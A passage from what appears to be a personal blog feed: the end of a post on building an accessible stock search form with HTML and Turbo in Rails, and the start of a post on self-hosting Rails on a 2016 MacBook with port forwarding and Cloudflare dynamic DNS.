<code>&lt;search&gt;</code> hints for screen readers, and/or add a <code>role=search</code> on the form</li>
<li>
<code>spellcheck=false</code> turns off the angry squiggles in Edge because VTI isn't a word</li>
</ol>
<p>On the backend, I take the <code>q</code> parameter, do a database lookup, and render the same template with the search results below. Each search result will have a name, full name, current price, and percentage change today.</p>
<p>The plan was to layout each search result like:</p>
<pre><code>+-------------------------------------+
| VTI                         $301.30 |
| Vanguard Total Market I...   -0.30% |
+-------------------------------------+
</code></pre>
<p>This layout can be made with flexbox or grid. I experimented with both and found flexbox to be easier to read.</p>
<p>The entire page has a maximum width for readability to keep the name and price close enough. I've focused on a mobile layout, but this could turn into an <code>&lt;aside&gt;</code> sidebar in the future. One highlight is to change grid/flex item's default <code>min-width</code> to stay inside the container and allow <code>text-overflow</code> to work.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">style</span><span class="pl-kos">&gt;</span>
  <span class="pl-ent">main</span> {
    <span class="pl-c1">max-width</span><span class="pl-kos">:</span> <span class="pl-c1">350<span class="pl-smi">px</span></span>; <span class="pl-c">/* for readability */</span>
    <span class="pl-c1">margin-inline</span><span class="pl-kos">:</span> auto; <span class="pl-c">/* centers the container on wider viewports */</span>
  }
<span class="pl-kos">&lt;/</span><span class="pl-ent">style</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">main</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span>...<span class="pl-kos">&lt;/</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span>

  <span class="pl-c">&lt;!-- full width so results with short names stretch --&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>="<span class="pl-s">search-result-list</span>" <span class="pl-c1">class</span>="<span class="pl-s">w-full</span>"<span class="pl-kos">&gt;</span>
    <span class="pl-c">&lt;!-- flexbox or grid here --&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">search-result</span>"<span class="pl-kos">&gt;</span>
      ...
      <span class="pl-kos">&lt;</span><span class="pl-ent">style</span><span class="pl-kos">&gt;</span>
        .<span class="pl-c1">fullname</span> {
          <span class="pl-c1">whitespace</span><span class="pl-kos">:</span> nowrap; <span class="pl-c">/* so search results have a consistent height */</span>
          <span class="pl-c1">min-width</span><span class="pl-kos">:</span> auto; <span class="pl-c">/* or zero b/c the default for flex/grid items is `fit-content` */</span>
          <span class="pl-c1">overflow</span><span class="pl-kos">:</span> hidden; <span class="pl-c">/* prevent long names from colliding into the prices */</span>
          <span class="pl-c1">text-overflow</span><span class="pl-kos">:</span> ellipsis; <span class="pl-c">/* add the `...` */</span>
        }
      <span class="pl-kos">&lt;/</span><span class="pl-ent">style</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">p</span> <span class="pl-c1">class</span>="<span class="pl-s">fullname</span>"<span class="pl-kos">&gt;</span>Vanguard Total Market Index Fund<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
      ...
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">main</span><span class="pl-kos">&gt;</span></pre></div>
<p>Once I had search results, the next piece was 'watching' or 'unwatching' a stock. Each watched stock would have a check next to it, and clicking on that would toggle whether it was watched.</p>
<pre><code>+-----+-------------------------------------+
+ [x] | VTI                         $301.30 |
+     | Vanguard Total Market I...   -0.30% |
+-----+-------------------------------------+
</code></pre>
<p>My first idea was to build this as a checkbox and enhance it with javascript to submit on click. However, I realized it makes sense to watch one stock at a time. The default behavior for a <code>&lt;button&gt;</code> within a form is to submit the form, skipping the need for javascript.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">search-result</span>"<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">form</span> <span class="pl-c1">action</span>="<span class="pl-s">/securities</span>" <span class="pl-c1">method</span>="<span class="pl-s">post</span>"<span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">button</span> <span class="pl-c1">aria-label</span>="<span class="pl-s">Watch VTI</span>"<span class="pl-kos">&gt;</span>&amp;plus;<span class="pl-kos">&lt;/</span><span class="pl-ent">button</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span>
  <span class="pl-c">&lt;!-- security details --&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span></pre></div>
<p>Testing it in a screen reader, I liked having the name of the action with the name of the security announced. I played around with having the button on the left vs right, and found it more aesthetic and intuitive on the left close to the name. It felt like you're "watching VTI". The tab order also felt natural, allowing user to navigate each result and it's details. I could use <code>flex-direction</code> to flip the order and make a left-handed or right-handed setting. With my iPhone 13 mini, it's a natural reach for the button, but something to consider for different devices.</p>
<p>Visually, I used html entities for <code>&amp;plus;</code> and <code>&amp;check;</code> to represent whether something is watched. I've recently enjoyed using html entities, and emoji as icons rather than svgs or images. There are differences across platforms, but they present a familiar representation specific to the platform. So a check mark looks different in Safari vs Chrome, and different still on Edge on Windows. But each of those will look familiar to users on that platform. It's also easier to maintain because what's rendered matches what's in code.</p>
<p>Speaking of icons, I added a magnifying glass emoji to the left of the search input. It's less customizable than an svg icon, but I found it visually pleasing. I reduced the opacity so it wasn't shouting for attention. I started with a small shadow on the search input to give it a raised look, but once I added the magnifying glass, I went for a minimal single bottom border.</p>
<div class="markdown-heading"><h2 class="heading-element">Progressive enhancement</h2><a id="user-content-progressive-enhancement" class="anchor" aria-label="Permalink: Progressive enhancement" href="#progressive-enhancement"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>At this point, the search form works. It doesn't need javascript. It uses vanilla HTML elements and attributes that works across browsers. The markup has aria attributes to add semantics for assistive technologies, and doesn't mess with the logical ordering of elements.</p>
<p>To enhance the user experience, I use Turbo to add:</p>
<ol>
<li>Search as you type</li>
<li>Morphing elements for smoothness</li>
<li>Subtle animations</li>
<li>Live preview of stock prices</li>
</ol>
<p>To implement search as you type, I submit the search form when the input changes <code>oninput="this.form.requestSubmit()"</code>.  This is the one line of javascript that I wrote. I considered debouncing the events to avoid too many requests to the backend, but found it unnecessary once I limited each search to ~10 results. Between search as you type, and the search icon, I removed the 'Search' button to reduce clutter further.</p>
<p>There is a distinction between <code>form.submit</code> and <code>form.requestSubmit</code>. The latter works as if a user clicked submit, which is necessary for Turbo.</p>
<p>Each search input change adds to the browser history. So a search for 'VTI' adds:</p>
<ol>
<li>/securities?q=V</li>
<li>/securities?q=VT</li>
<li>/securities?q=VTI</li>
</ol>
<p>Adding <code>data-turbo-action="replace"</code> on the form configures it <code>replace</code> the entry in the browser history rather than the default <code>advance</code> that adds a new entry on the stack.</p>
<p>Turbo's default behavior on forms and links adds subtle animations between page transitions. Since the search form renders the same page when it's submitted, I enable morphing:</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">head</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">meta</span> <span class="pl-c1">name</span>="<span class="pl-s">turbo-refresh-method</span>" <span class="pl-c1">content</span>="<span class="pl-s">morph</span>"<span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">head</span><span class="pl-kos">&gt;</span></pre></div>
<p>With search results limited to 15, there weren't enough elements to make a noticeable difference even when I typed or cleared the input quickly. One side effect is that the search input is not replaced between different pages. However, I left a <code>data-turbo-permanent</code> attribute on the input because it documents that the element should be kept between turbo visits, and won't regress if I change the refresh method back to the default. This was also necessary for <code>autofocus</code> to not reset the cursor position.</p>
<p>There's additional opportunity to use view transitions to fine tune the search results instead of the default cross fade, but again, it didn't seem worth the effort with a capped number of results.</p>
<p>Here's the final search as you type form without styles for readability. Note the input value comes from the backend, but can also be populated with javascript from <code>window.location.search</code>. Though the latter would make it tricky to maintain cursor position.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">form</span> <span class="pl-c1">id</span>="<span class="pl-s">search-form</span>" <span class="pl-c1">action</span>="<span class="pl-s">/securities</span>" <span class="pl-c1">data-turbo-action</span>="<span class="pl-s">replace</span>" <span class="pl-c1">data-turbo-permanent</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">input</span> <span class="pl-c1">name</span>="<span class="pl-s">q</span>" <span class="pl-c1">type</span>="<span class="pl-s">search</span>" <span class="pl-c1">value</span>="<span class="pl-s">&lt;%= params[:q] %&gt;</span>" <span class="pl-c1">placeholder</span>="<span class="pl-s">Search</span>" <span class="pl-c1">oninput</span>="<span class="pl-s">this.form.requestSubmit()</span>" <span class="pl-c1">autofocus</span> <span class="pl-c1">autocomplete</span>="<span class="pl-s">off</span>" <span class="pl-c1">spellcheck</span>="<span class="pl-s">false</span>" <span class="pl-kos">/&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span></pre></div>
<p>When search finds a result, it's nice to preview the current price and today's change percent. My backend tracks this information, and I push new price information via Turbo Streams. This can be done without Rails as the backend, but Rail's ActiveRecord, ActiveJob, and ActionCable integrates with Turbo Streams to provide a nice interface.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-c">&lt;!-- rails helper turbo_stream_from generates subscription --&gt;</span>
<span class="pl-c">&lt;!-- &lt;%= turbo_stream_from "security_1" %&gt; --&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">turbo-cable-stream-source</span> <span class="pl-c1">channel</span>="<span class="pl-s">Turbo::StreamsChannel</span>" <span class="pl-c1">signed-stream-name</span>="<span class="pl-s">somelongsignedstreamname</span>"<span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">turbo-cable-stream-source</span><span class="pl-kos">&gt;</span></pre></div>
<p>Turbo Streams documentation says it's implemented with websockets with a fallback to server-sent events (SSE), but I have not tested this. It's out of scope for this article, but here's a taste of what my backend looks like:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">class</span> <span class="pl-v">Security</span> &lt; <span class="pl-v">ApplicationRecord</span>
  <span class="pl-c"># this renders securities/_security.html.erb to the "security_1" channel above</span>
  <span class="pl-c"># and replaces search results by unique id selectors that describe each security</span>
  <span class="pl-en">after_update_commit</span> <span class="pl-kos">{</span> <span class="pl-en">broadcast_replace_later_to</span> <span class="pl-smi">self</span> <span class="pl-kos">}</span>
<span class="pl-k">end</span></pre></div>
<p>At first I had a stream for <code>securities</code>. While this doesn't leak any user specific information, it causes unrelated updates from other searches to be pushed on the same stream. I was worried creating 10 streams on a page would create 10 separate connections to the backend, but it multiplexes the different stream names on a single websocket connection.</p>
<div class="markdown-heading"><h2 class="heading-element">What didn't work</h2><a id="user-content-what-didnt-work" class="anchor" aria-label="Permalink: What didn't work" href="#what-didnt-work"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Once I had a working version, I tested on different devices and screen readers to add the tweaks and enhancements I talked about so far. But there were two dead ends, <code>display: contents</code> and styling <code>table</code>'s, where I learned a lot about accessability.</p>
<p>Safari's web inspector has a menu to disable images, css, and javascript. I toggled these while building to understand what the default user agent experience looked like. Since I'm targeting modern browsers, it's safe to assume CSS and JS are enabled, but it's satisfying to know the page works without them. While I was building the form to watch/unwatch stocks, I thought <code>&lt;fieldset&gt;</code> and <code>&lt;legend&gt;</code> would be a good descriptive pair of tags to use. Since legend must be a direct child of fieldset, I wanted to use flexbox to position the legend, and <code>display: contents</code> to ignore the fieldset and treat it's children as flex items of it's parent.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">form</span> <span class="pl-c1">action</span>="<span class="pl-s">/securities</span>" <span class="pl-c1">method</span>="<span class="pl-s">post</span>" <span class="pl-c1">style</span>="<span class="pl-s">display: flex</span>"<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">fieldset</span> <span class="pl-c1">style</span>="<span class="pl-s">display: contents</span>"<span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">legend</span><span class="pl-kos">&gt;</span>VTI<span class="pl-kos">&lt;/</span><span class="pl-ent">legend</span><span class="pl-kos">&gt;</span><span class="pl-c">&lt;!-- valid --&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">search-result</span>"<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">legend</span><span class="pl-kos">&gt;</span>VTI<span class="pl-kos">&lt;/</span><span class="pl-ent">legend</span><span class="pl-kos">&gt;</span><span class="pl-c">&lt;!-- invalid, legend must be direct child of fieldset --&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">button</span> <span class="pl-c1">aria-label</span>="<span class="pl-s">Watch VTI</span>"<span class="pl-kos">&gt;</span>+<span class="pl-kos">&lt;/</span><span class="pl-ent">button</span><span class="pl-kos">&gt;</span>
      ...
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">fieldset</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span></pre></div>
<p>MDN warns that browsers incorrectly remove <code>display: content</code> element from the accessability tree. I also realized there's no semantic value to have a fieldset/legend. The only form action is the button, which has an obvious aria-label. The fieldset isn't being used to group a set of related inputs, and the legend is redundant because it's rendered by a shared template again below the button.</p>
<p>I learned:</p>
<ol>
<li>The default user agent styling for fieldset/legend looks good, and allows for interesting transforms and animations.</li>
<li>Avoid <code>display: content</code> for now</li>
</ol>
<p>Next, I considered marking up the search results as tabular data.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">table</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">legend</span><span class="pl-kos">&gt;</span>Search results<span class="pl-kos">&lt;/</span><span class="pl-ent">legend</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">tr</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>Watch<span class="pl-kos">&lt;/</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>Name<span class="pl-kos">&lt;/</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>Full name<span class="pl-kos">&lt;/</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>Price<span class="pl-kos">&lt;/</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>Percent change<span class="pl-kos">&lt;/</span><span class="pl-ent">th</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">tr</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">tr</span> <span class="pl-c1">style</span>="<span class="pl-s">display: flex</span>"<span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span><span class="pl-kos">&lt;</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span>...<span class="pl-kos">&lt;/</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>VTI<span class="pl-kos">&lt;/</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>Vanguard Total Market Index<span class="pl-kos">&lt;/</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>$301.30<span class="pl-kos">&lt;/</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>-0.30%<span class="pl-kos">&lt;/</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">table</span><span class="pl-kos">&gt;</span></pre></div>
<p>Unfortunately, this made it difficult to share a template with other pages because "Watch" is a state that's tied to a specific user, while price information is not. With a <code>&lt;div&gt;</code> search result, the template can be shared and the user-specific state can be added, but the same could not be done with a <code>&lt;tr&gt;</code> as the shared template:</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-c">&lt;!-- shared.html: shared template for a security --&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>="<span class="pl-s">VTI</span>"<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>VTI<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>Vanguard Total Market<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>$301.30<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>-0.30%<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>

<span class="pl-c">&lt;!-- add user specific state and reuse shared template --&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">search-result</span>" <span class="pl-c1">style</span>="<span class="pl-s">display: flex</span>"<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span>(Watch / Unwatch)<span class="pl-kos">&lt;/</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span>%= render "shared" %<span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span></pre></div>
<p>Changing the <code>display</code> on a table removes it's table semantics from screen readers. I didn't change the table's display, only the <code>&lt;tr&gt;</code> to layout individual search results. Nevertheless, I was forcing a table for accessability, then styling it to not be a table.</p>
<div class="markdown-heading"><h2 class="heading-element">Conclusion and links</h2><a id="user-content-conclusion-and-links" class="anchor" aria-label="Permalink: Conclusion and links" href="#conclusion-and-links"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Play with it at <a href="https://jch.app/demo" rel="nofollow">https://jch.app/demo</a>. I encourage you to try turning off javascript and CSS. Try it in a screen reader.</p>
<p>Plain built-in HTML has the flexibility to create useful pages that are accessible by default. Though javascript is widely available, it is not a requirement for building a beautiful and useful page.</p>
<p>A sparing use of javascript can progressively enhance the user experience without increasing complexity and maintenance. The only js I wrote was <code>this.form.requestSubmit()</code>, while the rest were html data attributes to customize Turbo's default behavior.</p>
<p>While my backend is Rails, which has helpers to integrate with Turbo, the concepts and code can be done with any backend. I've even used Turbo on static HTML pages to smooth the transitions between links.</p>
<div class="markdown-heading"><h3 class="heading-element">HTML</h3><a id="user-content-html" class="anchor" aria-label="Permalink: HTML" href="#html"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>MDN HTML elements reference: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/HTML/Element</a>
</li>
<li>: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/search" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/HTML/Element/search</a></li>
<li>form#method: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form#method" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form#method</a>
</li>
<li>button#type: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#type" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#type</a>
</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">CSS</h3><a id="user-content-css" class="anchor" aria-label="Permalink: CSS" href="#css"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>display: contents: <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/display-box" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/CSS/display-box</a>
</li>
<li>Appendix B: Effects of display: contents on Unusual Elements: <a href="https://drafts.csswg.org/css-display/#unbox" rel="nofollow">https://drafts.csswg.org/css-display/#unbox</a>
</li>
<li>More Accessible Markup with Display Contents: <a href="https://hidde.blog/more-accessible-markup-with-display-contents/" rel="nofollow">https://hidde.blog/more-accessible-markup-with-display-contents/</a>
</li>
<li>display: contents is not a CSS Reset: <a href="https://adrianroselli.com/2018/05/display-contents-is-not-a-css-reset.html" rel="nofollow">https://adrianroselli.com/2018/05/display-contents-is-not-a-css-reset.html</a>
</li>
<li>Table CSS Display Properties and ARIA: <a href="https://adrianroselli.com/2018/02/tables-css-display-properties-and-aria.html" rel="nofollow">https://adrianroselli.com/2018/02/tables-css-display-properties-and-aria.html</a>
</li>
<li>table-layout: fixed: default is fit-content. This allows columns to shrink.</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Javascript</h3><a id="user-content-javascript" class="anchor" aria-label="Permalink: Javascript" href="#javascript"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>form.requestSubmit: <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/requestSubmit" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/requestSubmit</a>
</li>
<li>Turbo: <a href="https://turbo.hotwired.dev/" rel="nofollow">https://turbo.hotwired.dev/</a>
</li>
<li>Turbo morphing: <a href="https://turbo.hotwired.dev/handbook/page_refreshes#morphing" rel="nofollow">https://turbo.hotwired.dev/handbook/page_refreshes#morphing</a>
</li>
<li>Turbo streams: <a href="https://turbo.hotwired.dev/handbook/streams" rel="nofollow">https://turbo.hotwired.dev/handbook/streams</a>
</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Accessibility</h3><a id="user-content-accessibility" class="anchor" aria-label="Permalink: Accessibility" href="#accessibility"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>Enable fullpage accessibility tree: <a href="https://developer.mozilla.org/en-US/blog/aria-accessibility-html-landmark-roles/" rel="nofollow">https://developer.mozilla.org/en-US/blog/aria-accessibility-html-landmark-roles/</a>
</li>
<li>Mac Voice Over Cmd F5, Control Option U: <a href="https://support.apple.com/en-za/guide/voiceover/vo35709/mac" rel="nofollow">https://support.apple.com/en-za/guide/voiceover/vo35709/mac</a>
</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Rails specific</h3><a id="user-content-rails-specific" class="anchor" aria-label="Permalink: Rails specific" href="#rails-specific"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>turbo-rails Turbo::Broadcastable: <a href="https://www.rubydoc.info/gems/turbo-rails/0.5.2/Turbo/Broadcastable" rel="nofollow">https://www.rubydoc.info/gems/turbo-rails/0.5.2/Turbo/Broadcastable</a>
</li>
<li>
<a href="https://github.com/hotwired/turbo/issues/1093">https://github.com/hotwired/turbo/issues/1093</a>: turbo-rails does debouncing on the backend</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Self hosting Rails on a Mac</title>
  <link>https://jch.github.io/posts/2024-12-06-self-hosting-rails.html
</link>
  <guid>https://jch.github.io/posts/2024-12-06-self-hosting-rails.html
</guid>
  <pubDate>Fri, 06 Dec 2024 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><a href="https://jch.app" rel="nofollow">https://jch.app</a> now runs on a 2016 Macbook Pro with i7-6920HQ CPU @ 2.90GHz, 16GB DDR3 ram, and 2TB SSD.</p>
<p>I feel warm and fuzzy keeping this 8 year old mac out of the e-waste bin. The app is low traffic, but it nonetheless strained the $7/month Digital Ocean VPS. While it's no Apple silicon or raspberry pi in efficiency, the laptop draws a modest 15-20W, translating to ~$3/month at my utility rates. This generation mac had 4 thunderbolt ports, so I also bought a $10 thunderbolt to ethernet adapter.</p>
<p>I kept the existing OSX install to keep my development and production environments similar. While I love linux, I wanted to avoid troubleshooting apple hardware issues. My dad gave me a free thinkpad t480s which would make a nice linux dev machine, but that's a story for another day.</p>
<p>Roughly, the steps are:</p>
<ol>
<li>DNS resolves your domain name to your server IP address</li>
<li>Router forwards requests to your server</li>
<li>Server knows to update DNS if IP address changes</li>
</ol>
<p>My notes list the domain as <code>m.jch.app</code> because the base domain <code>jch.app</code> pointed at production. Once everything was migrated, I updated the configs to point at the base domain.</p>
<div class="markdown-heading"><h2 class="heading-element">Forward ports</h2><a id="user-content-forward-ports" class="anchor" aria-label="Permalink: Forward ports" href="#forward-ports"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ol>
<li>Configure router to assign a static IP address to server by it's MAC address</li>
<li>Forward public web (80, 443) and ssh (22), or all ports to server.</li>
</ol>
<p>By default, Safari uses Private Relay which will mask your public IP if you try to search for it.</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#</span> `what is my public ip address command line`</span>
$ curl ifconfig.co

- Router settings
  - Device Info
    - WAN (PUBLIC_IP x.x.x.x)
  - Advanced Setup
    - Static IP Lease, server MAC address, 192.168.1.2 (some static IP)
    - NAT
      - DMZ Host 192.168.1.2 (this updates without a reboot, forwards all ports to this host)

<span class="pl-c"><span class="pl-c">#</span> verify port forwarding works from somewhere outside of your network</span>
$ nc -zv PUBLIC_IP 22</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Dynamic DNS</h2><a id="user-content-dynamic-dns" class="anchor" aria-label="Permalink: Dynamic DNS" href="#dynamic-dns"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I'm using Cloudflare for DNS, which has an API.</p>
<ul>
<li>
<a href="https://github.com/qdm12/ddns-updater">https://github.com/qdm12/ddns-updater</a>
<ul>
<li>v2.8.1 static binary</li>
<li>config/data.json for cloudflare config</li>
</ul>
<div class="highlight highlight-source-json"><pre>{
  <span class="pl-ent">"settings"</span>: [
    {
      <span class="pl-ent">"provider"</span>: <span class="pl-s"><span class="pl-pds">"</span>cloudflare<span class="pl-pds">"</span></span>,
      <span class="pl-ent">"proxied"</span>: <span class="pl-c1">true</span>,
      <span class="pl-ent">"zone_identifier"</span>: <span class="pl-s"><span class="pl-pds">"</span>cloudflare dash &gt; m.jch.app &gt; scroll down to Zone ID<span class="pl-pds">"</span></span>,
      <span class="pl-ent">"domain"</span>: <span class="pl-s"><span class="pl-pds">"</span>m.jch.app<span class="pl-pds">"</span></span>,
      <span class="pl-ent">"ttl"</span>: <span class="pl-c1">600</span>,
      <span class="pl-ent">"token"</span>: <span class="pl-s"><span class="pl-pds">"</span>cloudflare dash &gt; m.jch.app &gt; API &gt; Get your API token &gt; Edit Zone DNS<span class="pl-pds">"</span></span>,
      <span class="pl-ent">"ip_version"</span>: <span class="pl-s"><span class="pl-pds">"</span>ipv4<span class="pl-pds">"</span></span>,
      <span class="pl-ent">"ipv6_suffix"</span>: <span class="pl-s"><span class="pl-pds">"</span><span class="pl-pds">"</span></span>
    }
  ]
}</pre></div>
</li>
<li>Cloudflare &gt; m.jch.app &gt; DNS
<ul>
<li>Verify A record m.jch.app points to PUBLIC_IP</li>
</ul>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Host configuration</h2><a id="user-content-host-configuration" class="anchor" aria-label="Permalink: Host configuration" href="#host-configuration"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>OSX &gt; Network
<ul>
<li>Ethernet device
<ul>
<li>Verify IP 192.168.1.2 statically assigned by MAC</li>
</ul>
</li>
<li>Firewall enabled
<ul>
<li>Options (each should prompt to be added as exception)
<ul>
<li>ddns-updater_2.8.1_darwin_amd64</li>
<li>ruby</li>
<li>thrust</li>
</ul>
</li>
</ul>
</li>
<li>/etc/hosts
<ul>
<li>192.168.1.2 m.jch.app (otherwise built-in router httpd will respond)</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Rails</h2><a id="user-content-rails" class="anchor" aria-label="Permalink: Rails" href="#rails"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># Gemfile</span>
<span class="pl-en">gem</span> <span class="pl-s">"thruster"</span>  <span class="pl-c"># https://github.com/basecamp/thruster</span>

